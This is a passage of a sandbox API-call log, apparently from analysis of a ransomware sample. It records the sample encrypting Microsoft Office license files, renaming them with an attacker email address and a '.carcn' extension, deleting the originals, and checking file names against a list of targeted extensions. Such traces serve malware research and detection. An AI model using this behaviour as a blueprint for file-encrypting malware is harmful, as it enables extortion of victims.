Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.600] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.600] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.601] GetLastError () returned 0x0 [0285.601] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x297b, lpOverlapped=0x0) returned 1 [0285.602] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2980, lpOverlapped=0x0) returned 1 [0285.603] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.603] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xfe, lpOverlapped=0x0) returned 1 [0285.604] SetEndOfFile (hFile=0x530) returned 1 [0285.604] CloseHandle (hObject=0x530) returned 1 [0285.604] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.604] SetEndOfFile (hFile=0x540) returned 1 [0285.607] CloseHandle (hObject=0x540) returned 1 [0285.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-pl.xrm-ms")) returned 1 [0285.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.609] lstrlenW (lpString=".doc") returned 4 [0285.609] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".docx") returned 5 [0285.609] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.609] lstrlenW (lpString=".pdf") returned 4 [0285.609] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".xls") returned 4 [0285.609] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".xlsx") returned 5 [0285.609] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.609] lstrlenW (lpString=".ppt") returned 4 [0285.609] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.609] lstrlenW (lpString=".zip") returned 4 [0285.609] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".rar") returned 4 [0285.609] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".bz2") returned 4 [0285.609] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString=".7z") returned 3 [0285.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.609] lstrlenW (lpString=".dbf") returned 4 [0285.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.609] lstrlenW (lpString=".1cd") returned 4 [0285.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-pl.xrm-ms") returned 71 [0285.610] lstrlenW (lpString=".jpg") returned 4 [0285.610] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.611] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6795) returned 1 [0285.611] CloseHandle (hObject=0x540) returned 1 [0285.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 0x220 [0285.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.612] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.612] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.613] GetLastError () returned 0x0 [0285.613] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1a8b, lpOverlapped=0x0) returned 1 [0285.615] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1a90, lpOverlapped=0x0) returned 1 [0285.616] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.616] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x100, lpOverlapped=0x0) returned 1 [0285.616] SetEndOfFile (hFile=0x530) returned 1 [0285.616] CloseHandle (hObject=0x530) returned 1 [0285.616] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.616] SetEndOfFile (hFile=0x540) returned 1 [0285.620] CloseHandle (hObject=0x540) returned 1 [0285.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ppd.xrm-ms")) returned 1 [0285.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.621] lstrlenW (lpString=".doc") returned 4 [0285.621] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.621] lstrlenW (lpString=".docx") returned 5 [0285.621] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.621] lstrlenW (lpString=".pdf") returned 4 [0285.621] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.621] lstrlenW (lpString=".xls") returned 4 [0285.621] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.621] lstrlenW (lpString=".xlsx") returned 5 [0285.621] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.621] lstrlenW (lpString=".ppt") returned 4 [0285.621] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.622] lstrlenW (lpString=".zip") returned 4 [0285.622] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.622] lstrlenW (lpString=".rar") returned 4 [0285.622] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.622] lstrlenW (lpString=".bz2") returned 4 [0285.622] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.622] lstrlenW (lpString=".7z") returned 3 [0285.622] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.622] lstrlenW (lpString=".dbf") returned 4 [0285.622] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.622] lstrlenW (lpString=".1cd") returned 4 [0285.622] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0285.622] lstrlenW (lpString=".jpg") returned 4 [0285.622] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.623] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11576) returned 1 [0285.623] CloseHandle (hObject=0x540) returned 1 [0285.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 0x220 [0285.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.624] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.624] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.625] GetLastError () returned 0x0 [0285.625] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x2d38, lpOverlapped=0x0) returned 1 [0285.727] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d40, lpOverlapped=0x0) returned 1 [0285.741] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.741] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x106, lpOverlapped=0x0) returned 1 [0285.741] SetEndOfFile (hFile=0x530) returned 1 [0285.857] CloseHandle (hObject=0x530) returned 1 [0285.857] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.857] SetEndOfFile (hFile=0x540) returned 1 [0285.862] CloseHandle (hObject=0x540) returned 1 [0285.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms")) returned 1 [0285.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.863] lstrlenW (lpString=".doc") returned 4 [0285.863] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.863] lstrlenW (lpString=".docx") returned 5 [0285.863] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.863] lstrlenW (lpString=".pdf") returned 4 [0285.863] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.863] lstrlenW (lpString=".xls") returned 4 [0285.863] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.863] lstrlenW (lpString=".xlsx") returned 5 [0285.864] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.864] lstrlenW (lpString=".ppt") returned 4 [0285.864] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.864] lstrlenW (lpString=".zip") returned 4 [0285.864] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString=".rar") returned 4 [0285.864] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString=".bz2") returned 4 [0285.864] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString=".7z") returned 3 [0285.864] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.864] lstrlenW (lpString=".dbf") returned 4 [0285.864] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.864] lstrlenW (lpString=".1cd") returned 4 [0285.864] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0285.864] lstrlenW (lpString=".jpg") returned 4 [0285.864] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.865] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10679) returned 1 [0285.865] CloseHandle (hObject=0x540) returned 1 [0285.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0285.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.866] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.866] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0285.867] GetLastError () returned 0x0 [0285.867] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x29b7, lpOverlapped=0x0) returned 1 [0286.093] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x29c0, lpOverlapped=0x0) returned 1 [0286.094] ReadFile (in: hFile=0x540, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.094] WriteFile (in: hFile=0x530, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x11c, lpOverlapped=0x0) returned 1 [0286.094] SetEndOfFile (hFile=0x530) returned 1 [0286.108] CloseHandle (hObject=0x530) returned 1 [0286.110] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.110] SetEndOfFile (hFile=0x540) returned 1 [0286.170] CloseHandle (hObject=0x540) returned 1 [0286.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0286.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.526] lstrlenW (lpString=".doc") returned 4 [0286.526] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".docx") returned 5 [0286.526] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.526] lstrlenW (lpString=".pdf") returned 4 [0286.526] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".xls") returned 4 [0286.526] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".xlsx") returned 5 [0286.526] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.526] lstrlenW (lpString=".ppt") returned 4 [0286.526] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.526] lstrlenW (lpString=".zip") returned 4 [0286.526] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".rar") returned 4 [0286.526] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".bz2") returned 4 [0286.526] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.526] lstrlenW (lpString=".7z") returned 3 [0286.527] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.527] lstrlenW (lpString=".dbf") returned 4 [0286.527] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.527] lstrlenW (lpString=".1cd") returned 4 [0286.527] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.527] lstrlenW (lpString=".jpg") returned 4 [0286.527] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.527] lstrlenW (lpString=".doc") returned 4 [0286.527] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString=".docx") returned 5 [0286.527] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.527] lstrlenW (lpString=".pdf") returned 4 [0286.527] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString=".xls") returned 4 [0286.527] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString=".xlsx") returned 5 [0286.527] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.527] lstrlenW (lpString=".ppt") returned 4 [0286.527] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0286.528] lstrlenW (lpString=".zip") returned 4 [0286.528] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.528] lstrlenW (lpString=".rar") returned 4 [0286.528] 